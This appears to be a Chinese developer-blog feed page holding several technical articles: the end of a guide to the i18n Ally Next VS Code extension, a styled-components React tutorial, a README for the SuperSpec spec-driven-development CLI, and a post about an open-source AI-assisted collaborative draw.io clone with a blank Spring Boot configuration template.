  - "\\Wt\\(\\s*['\"`]({key})['\"`]"
  - "\\W\\$t\\(\\s*['\"`]({key})['\"`]"
  - "\\Wi18n\\.t\\(\\s*['\"`]({key})['\"`]"

# 提取重构模板,$1 代表键名
refactorTemplates:
  - "t('$1')"
  - "{t('$1')}"

# 命名空间支持
namespace: true
namespaceDelimiter: ":"

# 作用域范围检测(如 React useTranslation hook)
scopeRangeRegex: "useTranslation\\(['\"](.+?)['\"]\\)"

# 是否禁用所有内置框架
monopoly: false

作用域范围是什么?

scopeRangeRegex 是一个非常实用的功能。以 React 为例:

const { t } = useTranslation("settings")

t("title")        // → 自动解析为 "settings.title"
t("theme.dark")   // → 自动解析为 "settings.theme.dark"

插件会根据正则匹配的结果自动划分作用域范围——从匹配位置到下一个匹配位置(或文件末尾)。在作用域内的所有 t() 调用都会自动加上命名空间前缀。

热重载

修改 YAML 配置文件后无需重启 VS Code,插件会自动检测文件变更并重新加载。这让调试正则表达式变得非常方便——改完立刻看效果。

快速上手

安装

在 VS Code 扩展面板搜索 i18n Ally Next,或从以下渠道安装:

最小配置

对于大多数项目,你只需要两步:

1. 指定语言文件路径

// .vscode/settings.json
{
  "i18n-ally-next.localesPaths": ["src/locales"],
  "i18n-ally-next.sourceLanguage": "zh-CN"
}

2. 打开项目,开始使用

插件会自动检测你的 i18n 框架(Vue I18n、react-i18next 等),无需额外配置。

打开任意包含翻译键的文件,你会看到:

  • 🏷️ 翻译键旁边出现内联注解,直接显示翻译值
  • 🌐 悬停键名可查看所有语言的翻译
  • ✏️ 点击即可编辑翻译
  • 📊 侧边栏显示翻译进度和缺失项

从 i18n Ally 迁移

如果你正在使用原版 i18n Ally,迁移非常简单:

  1. 卸载 i18n Ally
  2. 安装 i18n Ally Next
  3. settings.json 中的 i18n-ally. 前缀替换为 i18n-ally-next.

所有配置项保持兼容,无需其他改动。

写在最后

国际化不应该是痛苦的。i18n Ally Next 的目标是让 i18n 成为开发流程中自然而然的一部分——写代码时看到翻译,提交前检查缺失,源文案变更时自动提醒,协作时有据可查。

我们不只是在做一个插件,更是在构建一套完整的 i18n 开发工具链:从文档到配置,从检测到提取,从翻译到审阅,每一个环节都有对应的解决方案。

如果你觉得这个项目有用,欢迎:

  • ⭐ 在 GitHub 上给我们一个 Star
  • 🐛 提交 Issue 反馈问题
  • 💬 分享给你的团队和朋友
  • 📖 阅读完整文档开始使用

本文同步发布于 i18n Ally Next 官方文档

React 样式——styled-components

作者 随意_
2026年2月14日 10:40

在 React 开发中,样式管理一直是绕不开的核心问题 —— 全局 CSS 命名冲突、动态样式繁琐、样式与组件解耦难等痛点,长期困扰着前端开发者。而 styled-components 作为 React 生态中最主流的 CSS-in-JS 方案,彻底颠覆了传统样式编写方式,将样式与组件深度绑定,让样式管理变得简洁、可维护且灵活。本文将从核心原理、基础语法、进阶技巧到实战场景,全面拆解 styled-components 的使用精髓,涵盖原生标签、自定义组件、第三方组件适配等全场景用法。

一、什么是 styled-components?

styled-components 是一款专为 React/React Native 设计的 CSS-in-JS 库,核心思想是 “将 CSS 样式写在 JavaScript 中,并与组件一一绑定”。它由 Max Stoiber 于 2016 年推出,目前 GitHub 星数超 40k,被 Airbnb、Netflix、Spotify 等大厂广泛采用。

核心优势

  1. 样式封装,杜绝污染:每个样式组件生成唯一的 className,彻底解决全局 CSS 命名冲突问题;
  2. 动态样式,灵活可控:直接通过组件 props 控制样式,无需拼接 className 或写内联样式;
  3. 自动前缀,兼容省心:自动为 CSS 属性添加浏览器前缀(如 -webkit--moz-),无需手动处理兼容;
  4. 语义化强,易维护:样式与组件代码同文件,逻辑闭环,可读性和可维护性大幅提升;
  5. 按需打包,体积优化:打包时自动移除未使用的样式,减少冗余代码;
  6. 通用适配,场景全覆盖:既支持 HTML 原生标签,也兼容自定义组件、第三方 UI 组件(如 KendoReact/Ant Design)。

二、基础语法:从原生 HTML 标签到样式组件

styled-components 的核心语法分为两种形式,分别适配不同场景,是掌握该库的基础。

1. 安装

在 React 项目中安装核心依赖(TypeScript 项目可额外安装类型声明):

# npm
npm install styled-components

# yarn
yarn add styled-components

# TypeScript 类型声明(新版已内置,可选)
npm install @types/styled-components --save-dev

2. 语法形式 1:styled.HTML标签(原生标签快捷写法)

这是最常用的基础语法,styled. 后紧跟 HTML 原生标签名(如 div/button/p/h1/input 等),本质是 styled() 函数的语法糖,用于快速创建带样式的原生 HTML 组件。

多标签示例:覆盖高频 HTML 元素

import React from 'react';
import styled from 'styled-components';

// 1. 布局容器:div
const Container = styled.div`
  width: 90%;
  max-width: 1200px;
  margin: 20px auto;
  padding: 24px;
  border: 1px solid #e5e7eb;
  border-radius: 8px;
  box-shadow: 0 2px 4px rgba(0,0,0,0.05);
`;

// 2. 标题:h1/h2
const TitleH1 = styled.h1`
  color: #1f2937;
  font-size: 32px;
  font-weight: 700;
  margin-bottom: 16px;
`;

// 3. 文本:p/span
const Paragraph = styled.p`
  color: #4b5563;
  font-size: 16px;
  line-height: 1.6;
  margin-bottom: 12px;
`;
const HighlightText = styled.span`
  color: #2563eb;
  font-weight: 500;
`;

// 4. 交互:button/a
const PrimaryButton = styled.button`
  padding: 10px 20px;
  background-color: #2563eb;
  color: white;
  border: none;
  border-radius: 6px;
  cursor: pointer;
  &:hover { background-color: #1d4ed8; }
  &:disabled { background-color: #93c5fd; cursor: not-allowed; }
`;
const Link = styled.a`
  color: #2563eb;
  text-decoration: none;
  &:hover { text-decoration: underline; color: #1d4ed8; }
`;

// 5. 表单:input/label
const FormLabel = styled.label`
  display: block;
  font-size: 14px;
  color: #374151;
  margin-bottom: 6px;
`;
const Input = styled.input`
  width: 100%;
  padding: 10px 12px;
  border: 1px solid #d1d5db;
  border-radius: 6px;
  &:focus {
    outline: none;
    border-color: #2563eb;
    box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.2);
  }
`;

// 6. 列表:ul/li
const List = styled.ul`
  margin: 16px 0;
  padding-left: 24px;
`;
const ListItem = styled.li`
  margin-bottom: 8px;
  &:last-child { margin-bottom: 0; }
`;

// 使用示例
function BasicTagDemo() {
  return (
    <Container>
      <TitleH1>原生标签样式化示例</TitleH1>
      <Paragraph>
        这是 <HighlightText>styled.p</HighlightText> 渲染的段落,支持 <HighlightText>styled.span</HighlightText> 行内样式。
      </Paragraph>
      <List>
        <ListItem>styled.div:布局容器核心标签</ListItem>
        <ListItem>styled.button:交互按钮,支持 hover/禁用状态</ListItem>
        <ListItem>styled.input:表单输入框,支持焦点样式</ListItem>
      </List>
      <FormLabel htmlFor="username">用户名</FormLabel>
      <Input id="username" placeholder="请输入用户名" />
      <PrimaryButton style={{ marginTop: '10px' }}>提交</PrimaryButton>
      <Link href="#" style={{ marginLeft: '10px' }}>忘记密码?</Link>
    </Container>
  );
}

3. 语法形式 2:styled(组件)(自定义 / 第三方组件适配)

当需要给自定义 React 组件第三方 UI 组件添加样式时,必须使用 styled() 通用函数(styled.xxx 仅支持原生标签)。

核心要求

被包裹的组件需接收并传递 className 属性到根元素(第三方组件库如 KendoReact/AntD 已内置支持)。

示例 1:给自定义组件加样式

import React from 'react';
import styled from 'styled-components';

// 自定义组件:必须传递 className 到根元素
const MyButton = ({ children, className }) => {
  // 关键:将 className 传给根元素 <button>,样式才能生效
  return <button className={className}>{children}</button>;
};

// 用 styled() 包裹自定义组件,添加样式
const StyledMyButton = styled(MyButton)`
  background-color: #28a745;
  color: white;
  border: none;
  padding: 8px 16px;
  border-radius: 4px;
  &:hover { background-color: #218838; }
`;

function CustomComponentDemo() {
  return <StyledMyButton>自定义组件样式化</StyledMyButton>;
}

示例 2:给第三方组件(KendoReact)加样式

import React from 'react';
import styled from 'styled-components';
// 引入 KendoReact 按钮组件
import { Button } from '@progress/kendo-react-buttons';

// 用 styled() 覆盖第三方组件默认样式
const StyledKendoButton = styled(Button)`
  background-color: #dc3545 !important; /* 覆盖组件内置样式 */
  border-color: #dc3545 !important;
  color: white !important;
  padding: 8px 16px !important;
  
  &:hover {
    background-color: #c82333 !important;
  }
`;

function ThirdPartyComponentDemo() {
  return <StyledKendoButton>自定义样式的 KendoReact 按钮</StyledKendoButton>;
}

4. 两种语法的关系

styled.xxxstyled('xxx') 的语法糖(如 styled.div = styled('div')),仅简化原生标签的写法;而 styled(组件) 是通用方案,覆盖所有组件类型,二者底层均基于 styled-components 的样式封装逻辑。

三、进阶技巧:提升开发效率与可维护性

掌握基础语法后,这些进阶技巧能适配中大型项目的复杂场景。

1. 动态样式:通过 Props 控制样式

这是 styled-components 最核心的特性之一,无需拼接 className,直接通过 props 动态调整样式,适配状态切换、主题变化等场景。

jsx

import React from 'react';
import styled from 'styled-components';

// 带 props 的动态按钮
const DynamicButton = styled.button`
  padding: ${props => props.size === 'large' ? '12px 24px' : '8px 16px'};
  background-color: ${props => {
    switch (props.variant) {
      case 'primary': return '#2563eb';
      case 'danger': return '#dc3545';
      case 'success': return '#28a745';
      default: return '#6c757d';
    }
  }};
  color: white;
  border: none;
  border-radius: 6px;
  cursor: pointer;
  &:hover { opacity: 0.9; }
`;

function DynamicStyleDemo() {
  return (
    <div style={{ gap: '10px', display: 'flex', padding: '20px' }}>
      <DynamicButton variant="primary" size="large">主要大按钮</DynamicButton>
      <DynamicButton variant="danger">危险默认按钮</DynamicButton>
      <DynamicButton variant="success">成功按钮</DynamicButton>
    </div>
  );
}

2. 样式继承:复用已有样式

基于已定义的样式组件扩展新样式,避免重复代码,提升复用性。

import styled from 'styled-components';

// 基础按钮(通用样式)
const BaseButton = styled.button`
  padding: 8px 16px;
  border: none;
  border-radius: 4px;
  color: white;
  cursor: pointer;
  font-size: 14px;
`;

// 继承基础按钮,扩展危险按钮样式
const DangerButton = styled(BaseButton)`
  background-color: #dc3545;
  &:hover { background-color: #c82333; }
`;

// 继承并覆盖样式:轮廓按钮
const OutlineButton = styled(BaseButton)`
  background-color: transparent;
  border: 1px solid #2563eb;
  color: #2563eb;
  &:hover {
    background-color: #2563eb;
    color: white;
    transition: all 0.2s ease;
  }
`;

3. 全局样式:重置与全局配置

通过 createGlobalStyle 定义全局样式(如重置浏览器默认样式、设置全局字体),只需在根组件中渲染一次即可生效。

import React from 'react';
import styled, { createGlobalStyle } from 'styled-components';

// 全局样式组件
const GlobalStyle = createGlobalStyle`
  /* 重置浏览器默认样式 */
  * {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
  }

  /* 全局字体和背景 */
  body {
    font-family: 'Microsoft YaHei', sans-serif;
    background-color: #f8f9fa;
    color: #333;
  }

  /* 全局链接样式 */
  a {
    text-decoration: none;
    color: #2563eb;
  }
`;

// 根组件中使用
function App() {
  return (
    <>
      <GlobalStyle /> {/* 全局样式生效 */}
      <div>应用内容...</div>
    </>
  );
}

4. 主题管理(ThemeProvider):全局样式统一

在中大型项目中,通过 ThemeProvider 统一管理主题(主色、副色、字体),支持主题切换(如浅色 / 暗黑模式)。

import React, { useState } from 'react';
import styled, { ThemeProvider } from 'styled-components';

// 定义主题对象
const lightTheme = {
  colors: { primary: '#2563eb', background: '#f8f9fa', text: '#333' },
  fontSize: { small: '12px', medium: '14px' }
};
const darkTheme = {
  colors: { primary: '#198754', background: '#212529', text: '#fff' },
  fontSize: { small: '12px', medium: '14px' }
};

// 使用主题样式
const ThemedCard = styled.div`
  padding: 20px;
  background-color: ${props => props.theme.colors.background};
  color: ${props => props.theme.colors.text};
  border-radius: 8px;
`;
const ThemedButton = styled.button`
  padding: 8px 16px;
  background-color: ${props => props.theme.colors.primary};
  color: white;
  border: none;
  border-radius: 4px;
`;

function ThemeDemo() {
  const [isDark, setIsDark] = useState(false);
  return (
    <ThemeProvider theme={isDark ? darkTheme : lightTheme}>
      <div style={{ padding: '20px' }}>
        <button onClick={() => setIsDark(!isDark)}>
          切换{isDark ? '浅色' : '暗黑'}主题
        </button>
        <ThemedCard style={{ marginTop: '10px' }}>
          <ThemedButton>主题化按钮</ThemedButton>
        </ThemedCard>
      </div>
    </ThemeProvider>
  );
}

5. 嵌套样式:模拟 SCSS 语法

支持样式嵌套,贴合组件 DOM 结构,减少选择器冗余。

const Card = styled.div`
  width: 300px;
  padding: 20px;
  border: 1px solid #eee;
  border-radius: 8px;

  /* 嵌套子元素样式 */
  .card-title {
    font-size: 20px;
    margin-bottom: 10px;
  }
  .card-content {
    font-size: 14px;
    /* 深层嵌套 */
    .highlight { color: #2563eb; }
  }
`;

四、实战场景:什么时候用 styled-components?

  1. 中大型 React 项目:需要严格样式封装,避免多人协作时的样式冲突;
  2. 动态样式频繁的场景:如按钮状态切换、主题切换、响应式布局;
  3. 组件库开发:样式与组件逻辑内聚,便于组件发布和复用;
  4. 第三方组件库定制:覆盖 KendoReact/AntD 等组件的默认样式,精准且不污染全局;
  5. 响应式开发:通过媒体查询快速适配不同屏幕尺寸,样式与组件同文件更易维护。

五、注意事项与最佳实践

  1. 避免过度嵌套:嵌套层级建议不超过 2-3 层,否则可读性下降;
  2. 自定义组件必传 className:用 styled(组件) 时,确保组件将 className 传给根元素;
  3. 慎用!important:覆盖第三方组件样式时,优先提高选择器优先级,而非直接用 !important
  4. 样式组件定义在外部:避免在渲染函数内定义样式组件(导致每次渲染重新创建);
  5. 调试优化:安装 babel-plugin-styled-components 插件,让开发者工具显示有意义的 className;
  6. 抽离通用样式:将重复样式抽离为基础组件或主题变量,减少冗余。

六、总结

styled-components 并非简单的 “CSS 写在 JS 里”,而是 React 组件化思想在样式领域的延伸。其核心价值在于:

  1. 语法灵活styled.xxx 适配原生标签,styled(组件) 适配自定义 / 第三方组件,覆盖全场景;
  2. 样式闭环:样式与组件绑定,杜绝全局污染,提升可维护性;
  3. 动态能力:通过 props 和 ThemeProvider 轻松实现动态样式和主题管理;
  4. 生态兼容:无缝对接 KendoReact/AntD 等主流组件库,降低定制成本。

对于 React 开发者而言,掌握 styled-components 不仅能解决传统样式方案的痛点,更能构建出更健壮、易扩展的组件体系,是中大型 React 项目样式管理的首选方案。

OpenSpec 和 Spec-Kit 踩了 27 个坑之后,于是我写了个 🔥SuperSpec🔥 一次性填平

作者 像颗糖
2026年2月13日 19:21

SuperSpec

npm version npm downloads license node version

AI 编码助手的规格驱动开发 (SDD) 工具。

在线文档 · 仓库地址

为什么需要 SuperSpec?

AI 编码助手很强大,但需求模糊时容易产出不一致、无文档的代码。

当前支持的 AI 助手: CursorClaude CodeQwen 通义OpenCodeCodexCodeBuddyQoder。任何能读取 AGENTS.md 的编辑器均可使用本工作流。使用 superspec init --ai cursor|claude|qwen|opencode|codex|codebuddy|qoder 可安装对应编辑器的规则与斜杠命令(默认:cursor)。

OpenSpec 痛点

# OpenSpec 痛点 SuperSpec 解决方案
1 无 spec 大小控制 — spec 无限膨胀,吞噬 AI 上下文窗口 第一性原理 + lint(目标 300 / 硬限 400 行),/ss-specs 自动拆分
2 验证不一致 — validate --strict 通过但 archive 失败 统一验证管线:lintvalidatechecklistarchive
3 无实现↔spec 校验 — 编码后 spec 漂移 sync 收集 git diff 到 context.md/ss-resume 与 spec 交叉比对
4 无 上下文恢复流程 — 切换 AI 对话后上下文丢失 sync + context.md + /ss-resume 在新会话中恢复完整 spec 上下文
5 无 spec 间依赖管理 depends_on frontmatter + deps add/deps list/deps remove
6 无跨 spec 和归档搜索 search 支持 --archived--artifact--regex 过滤
7 无进度追踪或状态可视化 status 展示所有变更及各 artifact 状态(Draft → Ready → Done)
8 单一模式 — 简单修复和大功能同等开销 标准模式(轻量)vs 增强模式(完整 US/FR/AC + checklist)
9 无项目级 AI 上下文规则配置 superspec.config.json 支持 strategycontextlimitsbranchTemplate
10 无交叉引用验证(US↔FR↔AC↔tasks) validate --check-deps 确保完整追溯链
11 无国际化 — 仅英文 --lang zh|en,完整中文模板 + CLI 提示
12 无任务粒度控制 增强模式:每个任务 < 1 小时,分阶段 + 并行标记 [P]
13 无法自动创建分支 — 变更分支命名不统一 superspec create 根据 branchTemplate 自动创建 git 分支,支持 branchPrefix / branchTemplate / changeNameTemplate 自定义

Spec-Kit 痛点

# Spec-Kit 痛点 SuperSpec 解决方案
1 命令占用大量 token,严重挤占上下文窗口 Slash 命令为文件模板,按需加载(零空闲开销)
2 制造"工作幻觉" — 生成大量无用文档 第一性原理:每句话必须提供决策信息,信噪比优先
3 无法更新/迭代已有 spec — 总是创建新分支 原地 spec 演进:直接编辑 proposal/spec/tasks,/ss-clarify 迭代
4 忽略现有项目结构和约定 strategy: follow 读取 context 文件作为约束,匹配现有模式
5 自动生成大量无用测试 不自动生成测试 — 任务验证由开发者控制
6 不适合增量开发 / 小任务 标准模式处理快速功能;仅需要时启用增强模式(-b
7 Python 安装(uv tool)— 与 JS/TS 生态不匹配 npm/pnpm/yarn 安装,原生 Node.js 生态
8 无 spec 间依赖管理 depends_on + deps add/deps list + 依赖图
9 无 上下文恢复流程 synccontext.md/ss-resume 无缝续接
10 在子目录初始化会失败 任意位置可用 — superspec.config.json 在项目根目录,specDir 可配置
11 无 spec 归档及上下文保留 archive 归档已完成变更,search --archived 仍可检索
12 与最新 AI 工具升级不兼容 编辑器无关的 AGENTS.md + --ai 标志安装对应编辑器规则
13 模式单一且配置僵硬 — 无法在轻量与增强模式间自由切换 SuperSpec 支持标准模式与增强模式自由切换,superspec.config.json 中的 booststrategybranchTemplate 等提供高度定制化配置
14 无创造/探索模式 strategy: create-c)允许提出新架构方案并记录权衡

安装

# npm
npm install -g @superspec/cli

# pnpm
pnpm add -g @superspec/cli

# yarn
yarn global add @superspec/cli

需要 Node.js >= 18.0.0

快速开始

cd your-project

superspec init                  # 默认(英文模板)
superspec init --lang zh        # 中文模板
superspec init --ai claude      # 指定 AI 助手类型(cursor|claude|qwen|opencode|codex|codebuddy|qoder)
superspec init --force          # 强制覆盖已有配置
superspec init --no-git         # 跳过 git 初始化

核心流程

标准模式:  create (proposal → checklist ✓) → tasks → apply → [vibe: sync → resume] → archive
增强模式:  create -b (proposal → spec → [自动: 拆分? design?] → checklist ✓) → tasks → apply → ...

标准模式:AI 生成 proposal.md(需求 + 技术方案)→ 自动 checklist(/10)→ tasks.md — 适合简单功能和 bug 修复。

增强模式:AI 生成 proposal.md(需求背景)→ spec.md(US/FR/AC 细节)→ 自动复杂度评估(拆分?design?)→ 自动 checklist(/25)→ tasks.md — 适合大功能、需要设计评审和交叉验证的场景。

Vibe coding 阶段apply 之后,用 sync 收集 git 变更,用 /ss-resume 在新 AI 对话中恢复上下文。

Slash 命令(AI Agent)

这些是你与 AI 助手交互的主要命令,直接在 AI 对话中输入即可:

主流程

命令 标志 功能
/ss-create <feature> -b 增强, -c 创造, -d <desc>, --no-branch, --spec-dir <dir>, --branch-prefix <prefix>, --branch-template <tpl>, --change-name-template <tpl>, --intent-type <type>, --user <user>, --lang <lang> 创建文件夹 + 分支,AI 按需生成 proposal(boost: + spec + design)+ 自动 checklist 质量门
/ss-tasks 从 proposal 生成任务清单
/ss-apply 逐个执行任务
/ss-resume 恢复 spec 上下文(运行 sync → 读取 context.md)
/ss-archive [name] --all 归档已完成的变更

质量与发现

命令 模式 标志 功能
/ss-clarify 通用 澄清歧义、记录决策
/ss-checklist 通用 质量门:标准模式(/10,proposal 后)或增强模式(/25,spec 后)。/ss-create 自动调用
/ss-lint [name] 通用 检查 artifact 大小
/ss-validate [name] 增强 --check-deps 交叉引用一致性检查(US↔FR↔AC↔tasks)
/ss-status 通用 查看所有变更状态
/ss-search <q> 通用 --archived, --artifact <type>, --limit <n>, -E/--regex 全文搜索
/ss-link <name> 通用 --on <other> 添加 spec 依赖
/ss-deps [name] 通用 查看依赖图

使用示例

你:   /ss-create 添加用户认证 @jay
AI:   → 执行 `superspec create addUserAuth --intent-type feature`
      → 生成 proposal.md(含需求 + 技术方案)
      → 自动执行 checklist(/10)→ 通过
      → 提示执行 /ss-tasks

你:   /ss-tasks
AI:   → 读取 proposal.md → 生成分阶段任务

你:   /ss-apply
AI:   → 逐个执行任务,每个完成后标记 ✅

你:   /ss-resume    (新对话 / 中断后继续)
AI:   → 运行 sync → 读取 context.md → 从上次中断处继续

CLI 命令

初始化

superspec init

初始化 SuperSpec 到当前项目。

superspec init                  # 默认(英文模板)
superspec init --lang zh        # 中文模板
superspec init --ai claude      # 指定 AI 助手类型(cursor|claude|qwen|opencode|codex|codebuddy|qoder)
superspec init --force          # 强制覆盖已有配置
superspec init --no-git         # 跳过 git 初始化

核心流程

superspec create <feature>

创建变更文件夹和 git 分支。Artifact 由 AI 通过 /ss-create 按需生成。

superspec create add-dark-mode                              # 标准模式
superspec create add-auth -b                                # 增强模式(spec(支持拆分子 spec )+ design + checklist)
superspec create redesign-ui -c                             # 创造模式(探索新方案)
superspec create new-arch -b -c --no-branch                 # 增强 + 创造 + 不创建分支
superspec create add-auth -d "OAuth2 集成"                   # 附带描述
superspec create add-auth --spec-dir specs                  # 自定义 spec 文件夹
superspec create add-auth --branch-prefix feature/          # 自定义分支前缀
superspec create add-auth --branch-template "{prefix}{date}-{feature}-{user}"    # 自定义分支名模板
superspec create add-auth --change-name-template "{date}-{feature}-{user}"       # 自定义文件夹名模板
superspec create add-auth --intent-type hotfix              # 意图类型(feature|hotfix|bugfix|refactor|chore)
superspec create add-auth --user jay                        # 开发者标识
superspec create add-auth --lang zh                         # SDD 文档语言(en|zh)
superspec archive [name]

归档已完成的变更。

superspec archive add-auth      # 归档指定变更
superspec archive --all         # 归档所有已完成的变更
superspec update

刷新 agent 指令和模板到最新版本。

superspec update

质量与验证

superspec lint [name]

检查 artifact 行数是否超限。

superspec lint add-auth         # 检查指定变更
superspec lint                  # 检查所有活跃变更
superspec validate [name]

交叉验证 artifact 一致性(US↔FR↔AC↔tasks)。

superspec validate add-auth                 # 验证指定变更
superspec validate add-auth --check-deps    # 同时检查依赖一致性
superspec validate                          # 验证所有活跃变更

搜索与发现

superspec search <query>

全文搜索所有变更内容。

superspec search "JWT 认证"                          # 搜索活跃变更
superspec search "登录流程" --archived                # 包含已归档变更
superspec search "refresh token" --artifact tasks    # 按 artifact 类型过滤(proposal|spec|tasks|clarify|checklist)
superspec search "认证" --limit 10                   # 限制结果数量(默认: 50)
superspec search "user\d+" -E                        # 使用正则表达式匹配
superspec status

查看所有活跃变更及其 artifact 状态。

superspec status

依赖管理

superspec deps add <name>
superspec deps add add-auth --on setup-database
superspec deps remove <name>
superspec deps remove add-auth --on setup-database
superspec deps list [name]
superspec deps list add-auth    # 查看指定变更的依赖
superspec deps list             # 查看所有依赖关系

Vibe Coding(SDD 后阶段)

superspec sync [name]

生成/刷新 context.md,包含 git diff 信息(零 AI token — 纯 CLI 操作)。

superspec sync add-auth                 # 同步指定变更
superspec sync add-auth --base develop  # 指定基准分支
superspec sync add-auth --no-git        # 跳过 git diff 收集
superspec sync                          # 同步所有活跃变更

策略:follow vs create

每个变更有 strategy 字段控制 AI 的实现方式:

follow(默认) create-c
读取项目规则 是,作为约束 是,作为参考
架构 必须对齐现有架构 可以提出替代方案
文件结构 匹配现有模式 可以引入新模式
适用场景 常规功能、bug 修复 重构、新模块、UX 创新

superspec.config.json 中配置项目规则文件:

{
  "context": [".cursor/rules/coding-style.mdc", "AGENTS.md", "docs/conventions.md"]
}

第一性原理

灵感来源于 LeanSpec

# 原则 规则
I 上下文经济 每个 artifact < 300 行,硬限 400 行
II 信噪比 每个句子必须提供决策信息
III 意图优于实现 关注为什么和什么,不关注怎么做
IV 渐进式披露 从最小开始,仅在需要时扩展
V 必备内容 元数据、问题、方案、成功标准、权衡

配置

superspec init 生成 superspec.config.json

字段 默认值 说明
lang "en" 模板语言(zh / en),同时控制 CLI 提示语言
specDir "superspec" Spec 文件夹名
branchPrefix "spec/" Git 分支前缀
boost false 默认启用增强模式
strategy "follow" follow = 遵循项目规则,create = 自由探索
context [] AI 需要读取的项目规则文件
limits.targetLines 300 目标最大行数
limits.hardLines 400 硬限最大行数
archive.dir "archive" 归档子目录
archive.datePrefix true 归档文件夹加日期前缀

项目结构

SuperSpec/
├── package.json                 # monorepo 根
├── pnpm-workspace.yaml
├── tsconfig.json
└── packages/
    └── cli/                     # @superspec/cli
        ├── package.json
        ├── tsup.config.ts
        ├── src/
        │   ├── index.ts         # 库导出
        │   ├── cli/             # CLI 入口 (commander)
        │   ├── commands/        # create / archive / init / update / lint / validate / search / deps / status / sync
        │   ├── core/            # config / template / frontmatter / lint / validate / context
        │   ├── prompts/         # Agent 规则安装器
        │   ├── ui/              # 终端输出 (chalk)
        │   └── utils/           # fs / git / date / paths / template
        ├── templates/
        │   ├── zh/              # 中文模板
        │   └── en/              # 英文模板
        └── prompts/
            ├── rules.md         # Rules.md 模板
            └── agents.md        # AGENTS.md 模板

技术栈

  • 语言: TypeScript
  • 构建: tsup
  • 包管理: pnpm (monorepo)
  • 运行时: Node.js >= 18
  • 依赖: commander, chalk

开发

pnpm install          # 安装依赖
pnpm build            # 构建
pnpm dev              # 监听模式
pnpm --filter @superspec/cli typecheck   # 类型检查

致谢

License

MIT

我做了个 AI + 实时协作 的 draw.io,免费开源!!

2026年2月13日 17:40

前言

相信各位程序员朋友们一定使用过各种绘图软件吧,比如GitHub上star数量特别高的drawio。我们可以使用drawio来画各种图,比如UML类图,流程图,软件架构图等各种图,甚至可以拿来画简单的产品原型图(对于那些不太熟悉使用AxureRP的人来说)。在这个AI爆火的时代,我就在想能不能用AI来生成drawio可以识别的图表呢,再进一步想,能不能多人同时操作同一个图表也就是多人实时协作呢。于是,我就开发了这款AI驱动+多人实时协作的drawio。

在线体验地址:

www.intellidraw.top

编辑

并且,我直接把完整的前后端项目源代码给开源到GitHub上啦!!!,大家可以自行拉取到本地进行学习,修改。

前端开源地址:

github.com/wangfenghua…

后端开源地址:

github.com/wangfenghua…

接下来肯定是各位程序员朋友们最关心的技术栈啦!

项目技术栈

前端

使用Next.js服务端渲染技术 + Ant Design组件库 + yjs + ws + 内嵌的drawio编辑器

Next.js天然对SEO友好,使用蚂蚁金服开源的Ant Design组件库简化样式的编写,使用yjs+WebSocket实现实时协作编辑图表功能。

后端

当然是使用Java开发啦! 并使用一个Node.js微服务来处理实时协作逻辑

后端采用jdk21 + Spring Boot(SSM) + Spring AI + Spring Security + Node.js实现

Spring Boot后端负责处理整个系统主要的业务逻辑,Spring AI 为系统提供AI能力,并使用工厂模式可以使用多种不同的llm,包括系统内置的和用户自定义的。 Spring Security负责处理基于RBAC的权限校验,包括协作房间的用户权限和团队空间的用户权限。由于Java对yjs的支持并不友好,所以直接引入一个Node.js来处理实时协作逻辑,Spring Boot暴露鉴权接口供Node.js对连接进行鉴权。

项目主要功能

1、AI生成Drawio图表

一句话生成你想要的图表  

编辑

这样,不管是想要画什么图表,直接一句话,使用自然语言就能拿到自己想要的图表,并且可以直接导出自己想要的格式,比如SVG,或者PNG。

编辑

⭐⭐⭐实时协作

可以直接在图表编辑页面点击右上角的协作按钮开启协作。系统会自动创建协作房间。

编辑

这里会通过ws连接后端Node.js服务,从而实现实时协作逻辑。比使用Spring Boot的WebSocket透穿yjs的二进制update数据性能更优,支持高并发。

并且也可以管理房间内的成员,比如修改权限等等,前提是私密的房间。如果是公开的房间就不需要进行房间成员的管理了。、

编辑

编辑

团队空间

本项目有公共空间和团队空间之分,所谓公共空间就比如你创建了一个图表到公共空间里面,那么所有的人都能在图表广场看到你所创建的图表,除非你创建一个私有空间或者是团队空间。

编辑

编辑

并且团队空间分为普通版专业版和旗舰版三个等级,区别就在于可以创建的图表数量不同,旗舰版最多。

同时团队空间也是基于RBAC的权限控制的。

编辑

编辑

同时可以编辑团队空间内的图表和空间信息(管理员),也可以在本团队空间之内创建图表。

也可以通过用户id邀请其他用户加入到本团队空间内。在空间管理页面也分为我创建的空间和我加入的空间。

空间管理

编辑

协作房间管理

编辑

图表管理

编辑

开源与贡献

各位大佬可以在GitHub提交PR。

或者是将完整的前后端项目拉取到本地运行

后端的配置文件格式如下:

spring:
  application:
    name: drawio-backend
  mail:
    host:   # 您的SMTP服务器地址
    port:                   # 您的SMTP服务器端口
    username:  # 您的邮箱账户
    password:     # 您的邮箱密码或授权码
    properties:
      mail:
        smtp:
          auth: true
          starttls:
            enable: true
  security:
    oauth2:
      client:
        registration:
          github:
            client-id: 
            client-secret: 
            scope: read:user,user:email
            redirect-uri: 
            client-name: Intellidraw 智能绘图
            provider: github
        provider:
          github:
            authorization-uri: https://github.com/login/oauth/authorize
            token-uri: https://github.com/login/oauth/access_token
            user-info-uri: https://api.github.com/user
            user-name-attribute: login
  ai:
    custom:
      models:
        moonshotai:
          api-key: 
          base-url: https://api.qnaigc.com
          model: moonshotai/kimi-k2.5
        deepseek:
          api-key: 
          base-url: https://api.qnaigc.com
          model: moonshotai/kimi-k2.5
        glm:
          api-key: 
          model: glm-4.6
        qwen:
          api-key: 
          base-url: https://api.qnaigc.com
          model: moonshotai/kimi-k2.5
        duobao:
          api-key: 
          base-url: https://api.qnaigc.com
          model: moonshotai/kimi-k2.5
    openai:
      api-key: 
      base-url: 
      chat:
        options:
          model: 
  datasource:
    type: com.alibaba.druid.pool.DruidDataSource
    username: 
    url: 
    password: 
    driver-class-name: com.mysql.cj.jdbc.Driver
    # druid 连接池管理
    druid:
      # 初始化时建立物理连接的个数
      initial-size: 5
      # 最小连接池数量
      min-idle: 5
      # 最大连接池数量
      max-active: 20
      # 获取连接等待超时的时间
      max-wait: 60000
      # 一个连接在池中最小的生存的时间
      test-while-idle: true
      time-between-eviction-runs-millis: 60000
      min-evictable-idle-time-millis: 30000
      validation-query: select 'x'
      test-on-borrow: false
      test-on-return: false
      pool-prepared-statements: false
      filters: stat,wall,slf4j
      max-pool-prepared-statement-per-connection-size: -1
      use-global-data-source-stat: true
      connection-properties: 'druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5000'

server:
  port: 8081
  servlet:
    context-path: /api
